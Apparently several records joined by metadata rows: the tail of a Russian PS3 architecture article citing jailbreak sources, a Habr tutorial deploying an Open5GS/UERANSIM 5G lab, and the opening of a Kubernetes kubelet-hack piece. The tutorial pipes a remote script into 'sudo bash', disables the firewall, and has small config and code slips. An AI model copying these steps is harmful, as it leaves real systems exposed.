Хоть я много раз повторял, что Cell был революционной технологией, вы, возможно, заметили, что я ни разу не упомянул, насколько ненадежными оказались ранние модели. Это был первый раз, когда я услышал о неисправности консоли, просто некоторое время поиграв в неё.
Действительно, эти штуки ели электричество, как динозавры, и нагревались, как духовка (*пластиковая* духовка). К счастью, у меня была модель "Slim" (её следовало назвать “рабочей”)… Стремительная эпоха была, не так ли?
В любом случае, касаемо того, что у меня на повестке дня: я возьму небольшой отпуск, прежде чем приступить к следующей статье, чтобы поработать над другими направлениями по улучшению сайта и заняться личными делами.
Увидимся в следующий раз!
Родриго.
Источники
---------
**Игры:**
* Frank Mueller, Ph.D, [Sony PS3 Cluster (IBM Cell BE)](https://arcb.csc.ncsu.edu/~mueller/cluster/ps3/). [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:63)
* ps3dev, [ps3toolchain](https://github.com/ps3dev/ps3toolchain). Github. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:69)
* Rodrigo Copetti (me), [Docker-PS3DevExtra](https://github.com/flipacholas/Docker-PS3DevExtra). Github. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:70)
* VideoHelp, [What is DVD?](https://www.videohelp.com/dvd). [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:72)
* Nathan Bower, [Blue Laser Technology](http://student.uaa.alaska.edu/psnab1/EmergingStorageDevices/opticalstorage.htm). [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:74)
* The Editors of Encyclopaedia Britannica, [Blu-ray](https://www.britannica.com/technology/Blu-ray). Encyclopedia Britannica. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:73)
* Wikipedia contributors, [BD-J](https://en.wikipedia.org/w/index.php?title=BD-J&oldid=1035509899). Wikipedia, The Free Encyclopedia. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:75)
* Matt Wales, [Sony confirms PS3, PSP, and Vita digital stores closing for good this summer](https://www.eurogamer.net/articles/2021-03-29-sony-confirms-ps3-psp-and-vita-digital-stores-closing-for-good-this-summer). Eurogamer. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:77)
* Kris Holt, [Sony reverses decision to close PS3 and Vita game stores this summer](https://www.engadget.com/sony-playstation-ps3-vita-store-reversal-psp-174551086.html). Engadget. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:78)
* Mike Thomsen, [History of the Unreal Engine](https://www.ign.com/articles/2010/02/23/history-of-the-unreal-engine). IGN. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:71)
* Sam Serrels and Benjamin Kenwright, [Lesson 1 - SDK Installation and Compiling](http://docplayer.net/51347637-Lesson-1-sdk-installation-and-compiling.html). Edinburgh Napier University, School of Computer Science. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:68)
* PS3 Developer Wiki Contributors, [Cell Programming IBM](https://www.psdevwiki.com/ps3/Cell_Programming_IBM). PS3 Developer Wiki. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:67)
**Борьба с пиратством:**
* PS3 Developer Wiki Contributors, [QA Flagging](https://www.psdevwiki.com/ps3/index.php?title=QA_Flagging&oldid=55579). PS3 Developer Wiki. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:80)
* PS3 Developer Wiki Contributors, [Syscon Hardware](https://www.psdevwiki.com/ps3/Syscon_Hardware). PS3 Developer Wiki. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:81)
* IBM, [pervasive logic (Glossary)](https://arcb.csc.ncsu.edu/~mueller/cluster/ps3/SDK3.0/docs/accessibility/sdkpt/pervaslog_gloss.html). [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:83)
* PS3 Developer Wiki Contributors, [Cell BE](https://www.psdevwiki.com/ps3/index.php?title=CELL_BE&oldid=62093). PS3 Developer Wiki. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:82)
* mathieulh Et al., [Basic Bluray disc authentication procedure](https://www.psdevwiki.com/ps3/Basic_Bluray_disc_authentication_procedure). PS3 Developer Wiki. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:84)
* Ryad Benadjila and Mathieu Renard, [Security Offense And Defense Strategies: Video-game Consoles Architecture Under Microscope](https://www.slideshare.net/gotohack/security-offense-and-defense-strategies-videogame-consoles-architecture-under-microscope).
* phire and Mathieulh, [PSJailbreak Exploit Payload Reverse Engineering](https://www.psdevwiki.com/ps3/PSJailbreak_Exploit_Payload_Reverse_Engineering). PS3 Developer Wiki. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:88)
* GregoryRasputin, [#PS3History: The Complete History Of The PS3](https://consolehistories.net/ps3history/). [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:85)
* Brandon Wilson, [PS3JB - PS3 Jailbreak for TI-84 Plus and TI-84 Plus Silver Edition](https://brandonw.net/ps3jb/). [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:90)
* Brandon Wilson, [PS3Jig - PS3 Factory/Service Mode "Jig" Dongle for Sony PSP](https://brandonw.net/psp/ps3jig/). [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:92)
* STLcardsWS, [Official Firmware 4.81 Exploit - Software Downgrader & More Incoming! Could SuperSlim be hacked?](https://www.psx-place.com/threads/official-firmware-4-81-exploit-software-downgrader-more-incoming-could-superslim-be-hacked.15389/). psx-place.com. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:100)
* Joonie, [4.87.1 PS3 HFW (Hybrid Firmware) - HFW is helpful for installing PS3HEN on 4.84/4.85/4.86/4.87 FW](https://www.psx-place.com/threads/4-87-1-ps3-hfw-hybrid-firmware-hfw-is-helpful-for-installing-ps3hen-on-4-84-4-85-4-86-4-87-fw.23094/). psx-place.com. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:102)
* Euss, [Lv0ldr](https://www.psdevwiki.com/ps3/index.php?title=Lv0ldr&oldid=41436). PS3 Developer Wiki. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:99)
* George Hotz, [Here's your silver platter](https://web.archive.org/web/20100625065319/http://geohotps3.blogspot.com/2010/01/heres-your-silver-platter.html). Archived. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:86)
* Nate Lawson, [How the PS3 hypervisor was hacked](https://rdist.root.org/2010/01/27/how-the-ps3-hypervisor-was-hacked/). [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:87)
* snifikino, [Understanding How ECDSA Protects Your Data](https://www.instructables.com/Understanding-how-ECDSA-protects-your-data/).
* PS3 Developer Wiki Contributors, [Keys](https://www.psdevwiki.com/ps3/Keys). PS3 Developer Wiki. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:96)
* PS3 Developer Wiki Contributors, [Patches](https://www.psdevwiki.com/ps3/Patches). PS3 Developer Wiki. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:95)
* PS3Xploit Team, [PS3 NAND/NOR Flash Writer](https://github.com/PS3Xploit/flash-writer). Github. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:101)
* PS3 Developer Wiki Contributors, [Spkg hdr.tar](https://www.psdevwiki.com/ps3/Spkg_hdr.tar). PS3 Developer Wiki. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:97)
* 000111, [PS3 Blown open, Scene chaos, LV0 keys Leaked and Working!](https://wololo.net/2012/10/24/ps3-blown-open-scene-chaos-lv0-keys-leaked-and-working/). Wololo. [↩︎](https://classic.copetti.org/writings/consoles/playstation-3/#bibref:98) | https://habr.com/ru/post/587248/ | null | ru | null |
# Создание базовой сети 5G с Open5GS и UERANSIM
Добрый день, уважаемые хабровчане!
Сегодня и в последующие дни я сделаю перевод статей о развертывании архитектуры сетей 5G для дальнейшего ее изучения. Цель этой статьи - показать, что самые передовые технологии доступны всем и каждому, и что будущее можно создавать своими руками и не ждать. Я верю, что инженерный состав в нашей стране, это талантливые люди, которые могут нивелировать технологическое отставание, которое мы упустили за прошедшие 30 лет.
Напутствие
----------
В этом посте я расскажу о развертывании базовой сети 5G с помощью [Open5GS](https://open5gs.org/open5gs/), которая представляет собой реализацию базовой мобильной сети 5G с открытым исходным кодом. Для тестирования функций базовой сети 5G я использовал [UERANSIM](https://github.com/aligungr/UERANSIM), симулятор 5G UE и RAN (gNodeB) с открытым исходным кодом. Все исходные коды/развертывания, связанные с этим постом, доступны на [gitlab](https://gitlab.com/rahasak-labs/open5gs). Пожалуйста, клонируйте репозиторий. В этом посте я установил Open5GS как службу демона Linux. В следующем посте я расскажу об установке Open5GS с Kubernets и Helm Charts.
Архитектура 5G
--------------
Мобильная сеть 5-го поколения (5G) — это новый глобальный стандарт беспроводной связи после сетей 1G, 2G, 3G и 4G. 5G обеспечивает новый тип сети, предназначенный для соединения практически всех и всего, включая машины, объекты и устройства. Беспроводная технология 5G предназначена для обеспечения более высокой пиковой скорости передачи данных в несколько Гбит/с, сверхнизкой задержки, большей надежности, большой пропускной способности сети, повышенной доступности и более единообразного пользовательского интерфейса для большего числа пользователей. Более высокая производительность и повышенная эффективность расширяют возможности пользователей и объединяют новые отрасли.
Партнерский проект 3GPP определяет стандарты для 5G. 3GPP — это общий термин для ряда организаций по стандартизации, разрабатывающих протоколы для мобильной связи. Согласно 3GPP система 5G (5GS) будет состоять из трех основных компонентов
1. Пользовательское оборудование (UE)
2. Сеть радиодоступа 5G (5G-RAN)
3. Базовая сеть 5G (5GC)
UE — это устройства с поддержкой 5G (пользовательское оборудование). 5G-RAN (также известный как gNB) — это тип сетевой инфраструктуры, обычно используемый для мобильных сетей, состоящих из базовых радиостанций с большими антеннами. RAN беспроводным способом подключает пользовательское оборудование к базовой сети. Базовая сеть 5G упрощает различные сетевые функции, такие как управление сеансами, аутентификация, контроль политик, хранение данных и т. д. Доступно несколько реализаций базовой сети 5G с открытым исходным кодом. [Free5GC](https://www.free5gc.org/), [Open5GS](https://open5gs.org/open5gs/) — две самые популярные реализации базовой сети 5G.
Архитектура 5G Core
-------------------
В отличие от предыдущих сотовых сетей, архитектура базовой сети 5G разработана с использованием виртуализации сетевых функций и программно-определяемой сети. В основном базовая сеть 5G разработана с использованием шаблона проектирования на основе микросервисов. Различные службы данных и требования 5GC (также называемые сетевыми функциями) реализованы в виде микросервисов. Эти микросервисы (сетевые функции) будут развернуты как собственные облачные приложения. Базовая система 5G состоит из следующих сетевых функций (NF). Эти функции разделены на две основные плоскости: плоскость управления и плоскость пользователя:
1. User plane Function (UPF)
2. Data network (DN), e.g. operator services, Internet access or 3rd party services
3. Core Access and Mobility Management Function (AMF)
4. Authentication Server Function (AUSF)
5. Session Management Function (SMF)
6. Network Slice Selection Function (NSSF)
7. Network Exposure Function (NEF)
8. NF Repository Function (NRF)
9. Policy Control function (PCF)
10. Unified Data Management (UDM)
11. Application Function (AF)
Взаимодействие этих сервисов (с UE и 5G-RAN) и их соответствующие интерфейсы описаны на следующем рисунке. При развертывании базовой сети 5G мы в основном развертываем все эти сервисы в облаке как собственное облачное приложение.
Open5GS
-------
Open5GS — это реализация базовой мобильной сети 5G с открытым исходным кодом. Конечной целью этого проекта является реализация базовой сети 5G, определенной в выпуске 3GPP. В настоящее время он поддерживает выпуск 16 3GPP с предоставлением ядра 5G (AMF, SMF+PGW-c, UPF+PGW-u, PCF, UDR, UDM, сетевые функции AUSF, NRF) и сетевые функции Evolved Packet Core (MME, SGW-c, SGW-u, HSS и PCRF).
UERANSIM
--------
UERANSIM — это реализация 5G UE и 5G RAN (gNodeB) с открытым исходным кодом. В общих чертах его можно рассматривать как мобильный телефон 5G и базовую станцию. С точки зрения UE/RAN существует 3 основных интерфейса:
1. интерфейс управления (между RAN и AMF)
2. пользовательский интерфейс (между RAN и UPF)
3. радиоинтерфейс (между UE и RAN)
UERANSIM поддерживает работу с базовыми сетями Open5GS и Free5GC 5G. Мы можем подключить UERANSIM к одной из этих сетей 5G Core и протестировать функциональность.
Развертывание ядра 5G
---------------------
В этом сценарии я развернул базовую сеть 5G с Open5GS и смоделировал gNB/UE с помощью UERANSIM. Open5GS развернут на одном сервере (IP 172.31.13.16), а UERANSIM развернут на другом сервере (IP 172.31.13.37). Архитектура развертывания описана на следующем рисунке.
Ниже приведены основные шаги, которые необходимо выполнить при развертывании. Если вы настраиваете эту среду в облаке (например, AWS, gGloud), обязательно откройте все порты TCP и SCTP между серверами в локальной сети (связь gNB и AMF происходит через SCTP).
### 1. Install Open5GS
Open5GS может быть установлен как собственный сервис демона Linux. Также его можно развернуть с помощью Docker, Kubernetes и Helm Charts. Я развернул его как собственное сервисное приложение демона Linux. При его запуске сеть 5G работает как службы демона Linux. Ниже приведен способ установки Open5GS на server1.
```
# install open5gs as daemon service
sudo apt update
sudo apt install software-properties-common
sudo add-apt-repository ppa:open5gs/latest
sudo apt update
sudo apt install open5gs
```
### 2. Setup Open5GS
Я развертываю 5G Core и gNB на отдельных серверах. Поэтому мне нужно настроить адрес привязки NGAP для AMF (IP-адрес работающего ядра 5G) и адрес привязки GTPU для UPF (IP-адрес работающего ядра 5G). Тогда только gNB и UE смогут подключиться к базовой сети 5G. Если вы используете стек gNB и 5G Core на одном сервере, вам не нужно вносить эти изменения. Ниже приведены конфигурации, которые я сделал. После выполнения этих настроек я перезапустил службы AMF и UPF.
```
# amf config file locates in /etc/open5gs/amf.yaml
# ngap addr configured to 5g core server ip
amf:
sbi:
- addr: 127.0.0.5
port: 7777
ngap:
- addr: 172.31.10.16
---
# restart amf services
sudo systemctl restart open5gs-amfd
---
# amf logs can be found in /var/log/open5gs/amf.log
sudo tail -f /var/log/open5gs/amf.log
11/07 04:17:26.737: [amf] INFO: [Removed] Number of AMF-UEs is now 0 (../src/amf/context.c:1268)
11/07 04:17:26.738: [sctp] INFO: AMF terminate...done (../src/amf/app.c:42)
Open5GS daemon v2.3.6
11/07 04:17:26.762: [app] INFO: Configuration: '/etc/open5gs/amf.yaml' (../lib/app/ogs-init.c:129)
11/07 04:17:26.762: [app] INFO: File Logging: '/var/log/open5gs/amf.log' (../lib/app/ogs-init.c:132)
11/07 04:17:26.764: [sbi] INFO: nghttp2_server() [127.0.0.5]:7777 (../lib/sbi/nghttp2-server.c:144)
11/07 04:17:26.764: [amf] INFO: ngap_server() [172.31.10.16]:38412 (../src/amf/ngap-sctp.c:53)
11/07 04:17:26.764: [sctp] INFO: AMF initialize...done (../src/amf/app.c:33)
11/07 04:17:26.766: [amf] INFO: [9d83b430-3f81-41ec-9db3-4f03c19e0a68] NF registred [Heartbeat:10s] (../src/amf/nf-sm.c:198)
```
```
# upf config file locates in /etc/open5gs/upf.yaml
# gtpu addr configured to 5g core server ip
upf:
pfcp:
- addr: 127.0.0.7
gtpu:
- addr: 172.31.10.16
subnet:
- addr: 10.45.0.1/16
- addr: 2001:230:cafe::1/48
---
# restart upf services
sudo systemctl restart open5gs-upfd
---
# upf logs can be found in /var/log/open5gs/upf.log
sudo tail -f /var/log/open5gs/upf.log
11/07 04:18:19.224: [app] INFO: SIGTERM received (../src/main.c:53)
11/07 04:18:19.224: [app] INFO: Open5GS daemon terminating... (../src/main.c:212)
11/07 04:18:19.225: [upf] INFO: PFCP de-associated (../src/upf/pfcp-sm.c:178)
11/07 04:18:19.225: [upf] INFO: [Removed] Number of UPF-sessions is now 0 (../src/upf/context.c:190)
11/07 04:18:19.226: [app] INFO: UPF terminate...done (../src/upf/app.c:39)
Open5GS daemon v2.3.6
11/07 04:18:19.243: [app] INFO: Configuration: '/etc/open5gs/upf.yaml' (../lib/app/ogs-init.c:129)
11/07 04:18:19.243: [app] INFO: File Logging: '/var/log/open5gs/upf.log' (../lib/app/ogs-init.c:132)
11/07 04:18:19.256: [pfcp] INFO: pfcp_server() [127.0.0.7]:8805 (../lib/pfcp/path.c:30)
11/07 04:18:19.256: [gtp] INFO: gtp_server() [172.31.10.16]:2152 (../lib/gtp/path.c:30)
11/07 04:18:19.257: [app] INFO: UPF initialize...done (../src/upf/app.c:31)
11/07 04:18:22.553: [pfcp] INFO: ogs_pfcp_connect() [127.0.0.4]:8805 (../lib/pfcp/path.c:59)
11/07 04:18:22.553: [upf] WARNING: cannot handle PFCP message type[1] (../src/upf/pfcp-sm.c:139)
11/07 04:18:25.054: [pfcp] WARNING: [5341] REMOTE Request Duplicated. Discard! for step 1 type 1 peer [127.0.0.4]:8805 (../lib/pfcp/xact.c:403)
11/07 04:18:27.557: [pfcp] WARNING: [5341] REMOTE Request Duplicated. Discard! for step 1 type 1 peer [127.0.0.4]:8805 (../lib/pfcp/xact.c:403)
11/07 04:18:30.060: [upf] INFO: PFCP associated (../src/upf/pfcp-sm.c:173)
```
### 3. NAT Port Forwarding
Чтобы создать мост между 5G Core UPF и WAN (Интернет), мне нужно включить переадресацию IP и добавить правило NAT в таблицы IP. Ниже приведены перенаправления портов NAT, которые я сделал. Без этого порта переадресация подключения от 5G Core к Интернету не работала бы.
```
# nat port forwarding
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o enp0s3 -j MASQUERADE
sudo systemctl stop ufw
sudo iptables -I FORWARD 1 -j ACCEPT
# if above setup not works try to manually create tun interface and do nat forwarding
sudo ip tuntap add name ogstun mode tun
sudo ip addr add 10.45.0.1/16 dev ogstun
sudo ip addr add 2001:230:cafe::1/48 dev ogstun
sudo ip link set ogstun up
```
### 4. Register UE Device
Далее мне нужно зарегистрировать устройство UE на 5G Core. Open5GS предоставляет приложение WebUI. Я могу зарегистрировать устройство UE через подключение к WebUI. Ниже приведен способ как сделать это.
```
# install nodejs
sudo apt update
sudo apt install curl
curl -fsSL https://deb.nodesource.com/setup_14.x | sudo -E bash -
sudo apt install nodejs
# clone webui
git clone https://github.com/open5gs/open5gs.git
# run webui with npm
cd webui
npm run dev --host 0.0.0.0
# the web interface will start on
http://localhost:3000
# webui login credentials
username - admin
password - 1423
# add new subscriber
# the default device information can be found in open5gs config on UERANSIM
IMSI: 901700000000001
Subscriber Key: 465B5CE8B199B49FAA5F0A2EE238A6BC
USIM Type: OPc
Operator Key: E8ED289DEBA952E4283B54E88E6183CA
```
WebUI запускается на порту 3000 на server1. Подключитесь к WebUI и войдите в систему с учетными данными admin/1423. Затем добавьте нового абонента с IMSI: 901700000000001 и другой информацией по умолчанию.
### 5. Install UERANSIM
Затем я установил UERANSIM на server2. Установка выполняется с помощью файла, доступного в репозитории URANSIM. Ниже приведен способ установки UERANSIM.
```
# install cmake
# UERANSIM does not work with the apt version of cmake, that's why we need to install snap and the snap version of cmake:
sudo apt update
sudo apt upgrade
sudo apt install make g++ libsctp-dev lksctp-tools
iproute2 sudo snap install cmake --classic
# install ueransim
git clone https://github.com/aligungr/UERANSIM
cd UERANSIM
make
```
### 6. Setup gNB
UERANSIM состоит из двух частей gNB и UE. Файлы конфигурации gNB, относящиеся к Open5GS, находятся в URANSIM/config/open5gs-gnb.yaml. Мне нужно настроить linkIp, ngapIp, gtpIp и amfConfigs: адрес в файле конфигурации. linkIp, ngapIp, gtpIp настроены с IP-адресом server2 (IP-адрес работающего сервера UERANSIM). amfConfigs: адрес — это IP-адрес server1 (IP-адрес работающего сервера Open5GC). gNB можно запустить с помощью сценария UERANSIM/build/nr-gnb, используя файл конфигурации UERANSIM/config/open5gs-gnb.yaml.
```
# configure with server1 IP
linkIp: 172.31.13.37 # gNB's local IP address for Radio Link Simulation (Usually same with local IP)
ngapIp: 172.31.13.37 # gNB's local IP address for N2 Interface (Usually same with local IP)
gtpIp: 172.31.13.37 # gNB's local IP address for N3 Interface (Usually same with local IP)
# list of AMF address information
# configure with server2 IP
amfConfigs:
- address: 172.31.10.16
port: 38412
---
# start gnb with open5gc-gnb.yaml config file
./build/nr-gnb -c config/open5gs-gnb.yaml
# output
UERANSIM v3.2.4
[2021-11-07 04:39:11.240] [sctp] [info] Trying to establish SCTP connection... (172.31.10.16:38412)
[2021-11-07 04:39:11.243] [sctp] [info] SCTP connection established (172.31.10.16:38412)
[2021-11-07 04:39:11.244] [sctp] [debug] SCTP association setup ascId[4]
[2021-11-07 04:39:11.244] [ngap] [debug] Sending NG Setup Request
[2021-11-07 04:39:11.245] [ngap] [debug] NG Setup Response received
[2021-11-07 04:39:11.245] [ngap] [info] NG Setup procedure is successful
```
### 7. Setup UE
Файлы конфигурации UERANSIM UE, относящиеся к Open5GS, находятся в UERANSIM/config/open5gs-ue.yaml. Мне нужно настроить gnbSearchList с IP-адресом server2 (IP-адрес работающего сервера UERANSIM). UE можно запустить с помощью сценария UERANSIM/build/nr-ue, используя файл конфигурации UERANSIM/config/open5gs-ue.yaml. Еще одна вещь, на которую следует обратить внимание, это то, что open5gs-ue.yaml определяет конфигурации устройств UE. Мы использовали эти конфигурации при регистрации подписчика в ядре Open5GC 5G через WebUI.
```
# ue device config
# IMSI number of the UE. IMSI = [MCC|MNC|MSISDN] (In total 15 digits)
supi: 'imsi-901700000000001'
# Mobile Country Code value of HPLMN
mcc: '901'
# Mobile Network Code value of HPLMN (2 or 3 digits)
mnc: '70'
# Permanent subscription key
key: '465B5CE8B199B49FAA5F0A2EE238A6BC'
# Operator code (OP or OPC) of the UE
op: 'E8ED289DEBA952E4283B54E88E6183CA'
# This value specifies the OP type and it can be either 'OP' or 'OPC'
opType: 'OPC'
# Authentication Management Field (AMF) value
amf: '8000'
# IMEI number of the device. It is used if no SUPI is provided
imei: '356938035643803'
# IMEISV number of the device. It is used if no SUPI and IMEI is provided
imeiSv: '4370816125816151'
# IMEISV number of the device. It is used if no SUPI and IMEI is provided
imeiSv: '4370816125816151'
---
# List of gNB IP addresses for Radio Link Simulation
# configure with server2 IP
gnbSearchList:
- 172.31.13.37
---
# start gnb with open5gc-ue.yaml config file
sudo ./build/nr-ue -c config/open5gs-ue.yaml
# output
UERANSIM v3.2.4
[2021-11-07 04:50:08.323] [nas] [info] UE switches to state [MM-DEREGISTERED/PLMN-SEARCH]
[2021-11-07 04:50:08.323] [rrc] [debug] New signal detected for cell[1], total [1] cells in coverage
[2021-11-07 04:50:08.323] [nas] [info] Selected plmn[901/70]
[2021-11-07 04:50:08.323] [rrc] [info] Selected cell plmn[901/70] tac[1] category[SUITABLE]
[2021-11-07 04:50:08.323] [nas] [info] UE switches to state [MM-DEREGISTERED/PS]
[2021-11-07 04:50:08.323] [nas] [info] UE switches to state [MM-DEREGISTERED/NORMAL-SERVICE]
[2021-11-07 04:50:08.323] [nas] [debug] Initial registration required due to [MM-DEREG-NORMAL-SERVICE]
[2021-11-07 04:50:08.324] [nas] [debug] UAC access attempt is allowed for identity[0], category[MO_sig]
[2021-11-07 04:50:08.324] [nas] [debug] Sending Initial Registration
[2021-11-07 04:50:08.324] [nas] [info] UE switches to state [MM-REGISTER-INITIATED]
[2021-11-07 04:50:08.324] [rrc] [debug] Sending RRC Setup Request
[2021-11-07 04:50:08.325] [rrc] [info] RRC connection established
[2021-11-07 04:50:08.325] [rrc] [info] UE switches to state [RRC-CONNECTED]
[2021-11-07 04:50:08.325] [nas] [info] UE switches to state [CM-CONNECTED]
[2021-11-07 04:50:08.330] [nas] [debug] Authentication Request received
[2021-11-07 04:50:08.333] [nas] [debug] Security Mode Command received
[2021-11-07 04:50:08.333] [nas] [debug] Selected integrity[2] ciphering[0]
[2021-11-07 04:50:08.339] [nas] [debug] Registration accept received
[2021-11-07 04:50:08.339] [nas] [info] UE switches to state [MM-REGISTERED/NORMAL-SERVICE]
[2021-11-07 04:50:08.339] [nas] [debug] Sending Registration Complete
[2021-11-07 04:50:08.339] [nas] [info] Initial Registration is successful
[2021-11-07 04:50:08.339] [nas] [debug] Sending PDU Session Establishment Request
[2021-11-07 04:50:08.339] [nas] [debug] UAC access attempt is allowed for identity[0], category[MO_sig]
[2021-11-07 04:50:08.542] [nas] [debug] Configuration Update Command received
[2021-11-07 04:50:08.551] [nas] [debug] PDU Session Establishment Accept received
[2021-11-07 04:50:08.551] [nas] [info] PDU Session establishment is successful PSI[1]
[2021-11-07 04:50:08.560] [app] [info] Connection setup for PDU session[1] is successful, TUN interface[uesimtun0, 10.45.0.5] is up.
```
### 8. Test 5G Network
При запуске UERANSIM UE он создает сеанс PDU и сетевой интерфейс TUN uesimtun0. Вы можете найти IP-адрес сеанса PDU и адрес TUN в журналах UE (интерфейс TUN [uesimtun0, 10.45.0.3]). Мы можем использовать интернет-соединение UE из другого приложения через этот интерфейс TUN. Например, если мы используем простую команду curl с интерфейсом uesimtun0 (например, curl --interface uesimtun0 "<https://httpbin.org/get>"), она направит пакет в Интернет через базовую сеть Open5GC 5G, как показано на следующей диаграмме.
Кроме того, UERANSIM предоставляет инструмент UERANSIM/build/nr-binder для привязки внешних приложений к интерфейсу TUN. Мы можем привязать интерфейс uesimtun0 практически к любому приложению, используя UERANSIM/build/nr-binder. Ниже приведен способ использования UERANSIM/build/nr-binder с различными приложениями. Я тестировал его с приложениями ping, curl, docker, python.
```
# ping command bind direcly to uesimtun0
ping -I uesimtun0 google.com
# curl command bind direcly to uesimtun0
curl \
--interface uesimtun0 \
-X GET "https://httpbin.org/get"
---
# bind curl command via nr-binder
# nr-binder use pdu session ip
./nr-binder 10.45.0.3 curl -X GET "https://httpbin.org/get"
---
# run docker container via nr-binder
./nr-binder 10.45.0.3 docker run -d -p 9091:80 kennethreitz/httpbin
---
# bind python application via nr-binder
# request.pyt is simple python program which send http GET request
./nr-binder 10.45.0.3 python3 request.py
---
# bind shell scrip via nr-binder
# httpbin.sh is simple shell script which runs httpbin as docker container
./nr-binder 10.45.0.3 ./httpbin.sh
```
### 9. Image Streaming via 5G Core
В приведенной выше настройке интерфейс UERANSIM UE TUN (uesimtun0) может быть доступен только через работающую машину UERANSIM. Это означает, что мы можем подключиться к базовой сети 5G только с работающей машины UERANSIM. В моем сценарии я хотел передавать изображения на TCP-сервер (который находится в общедоступном Интернете) от внешнего клиента (который находится за пределами сервера URANSIM) через базовую сеть 5G. Примером сценария может быть потоковая передача изображений с устройства виртуальной реальности на сервер потоковой передачи через базовую сеть 5G. Чтобы добиться этой настройки, я применил обходной путь, используя прокси-сервер TCP. Ниже приведена архитектура установки.
Служба UERANSIM работает на сервере с публичным IP 3.237.100.204. Служба потоковой передачи изображений работает на сервере с общедоступным IP-адресом 100.27.44.103. Я запустил прокси-сервер TCP на порту 7654 внутри сервера 3.237.100.204. Служба потоковой передачи изображений работает на порту 7654 на сервере 100.27.44.103. Прокси-сервер TCP перенаправляет входящие пакеты с 3.237.100.204:7654 на 100.27.44.103:7654. Я использовал следующую команду docker для запуска прокси-сервера TCP.
```
# tcp proxy server forward the incoming traffic of port 7654 to 100.27.44.103:7654
docker run -d -it --rm -p 7654:7654 hpello/tcp-proxy 100.27.44.103 7654
```
Эта команда докера добавляется в сценарий оболочки с именем [tcp-proxy.sh](http://tcp-proxy.sh) и запускается с помощью nr-binder. Затем весь трафик прокси-сервиса TCP проходит через базовую сеть 5G.
```
# run tcp proxy server with nr-biner
# all traffic of tcp proxy server will goes through the 5g core
sudo ./nr-binder 10.45.0.13 ./tcp-proxy.sh
```
Ниже приведен простой сервер потоковой передачи изображений, написанный на Python. Он прослушивает порт 7654 и входящие изображения, сохраненные в вызываемом каталоге. Я запустил потоковый сервер с помощью команды python3 [stream-server.py](http://stream-server.py).
```
import socket
import time
s = socket.socket()
host = socket.gethostname()
port = 7654
s.bind((host, port))
s.listen(5)
while True:
c, addr = s.accept()
print('Got connection from', addr)
# create image file
n = 'out/' + str(int(time.time())) + '.png'
f = open(n,'wb')
# recive image
l = c.recv(1024)
while (l):
f.write(l)
l = c.recv(1024)
f.close()
print('Done Receiving')
c.close()
```
Ниже приведено клиентское приложение потоковой передачи изображений, написанное с помощью Python. Он считывает образ с диска и отправляет потоки на прокси-сервер TCP, который работает на сервере 3.237.100.204:7654. Затем прокси-сервер перенаправляет потоки изображений на сервер потоковой передачи изображений 100.27.44.103:7654 через базовую сеть 5G. Я запустил клиент потоковой передачи с помощью команды python3 [stream-client.py](http://stream-client.py).
```
import socket
# client socker
s = socket.socket()
host = '3.237.100.204'
port = 7654
s.connect((host, port))
print('Connected to server')
# send image
f = open('hak.png','rb')
l = f.read(1024)
while (l):
s.send(l)
l = f.read(1024)
print('Sent image')
# image sent close connection
f.close()
s.close
```
Reference
---------
1. <https://www.rajarshipathak.com/2020/01/beginners-guide-for-5g-core-network-architecture.html>
2. <https://www.grandmetric.com/2017/06/05/5g-core-network-a-short-overview/>
3. <https://open5gs.org/open5gs/docs/guide/01-quickstart/>
4. <https://www.free5gc.org/installations/stage-3-sim-install/>
5. <https://nickvsnetworking.com/my-first-5g-core-open5gs-and-ueransim/>
6. <https://www.viavisolutions.com/en-us/5g-architecture>
7. <https://frontjang.info/entry/Open5GC-UERANSIM-%EC%9C%BC%EB%A1%9C-5G-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EA%B5%AC%EC%B6%95%ED%95%98%EA%B8%B0-1-%EA%B5%AC%EC%84%B1-%EB%B0%8F-%EC%84%A4%EC%B9%98> | https://habr.com/ru/post/708738/ | null | ru | null |
# Анализ хака Kubernetes — бэкдор через kubelet
Чтобы ничего не знать о Kubernetes, надо было последние три года прожить в пещере. В Handy инфраструктура разработки, CI/CD и продакшена построена на многокластерной экосистеме Kubernetes. Можно сказать, что мы в Handy фанаты Kubernetes, вот почему мы так удивились, когда личный кластер Kubernetes нашего коллеги в прошлые выходные взломали.
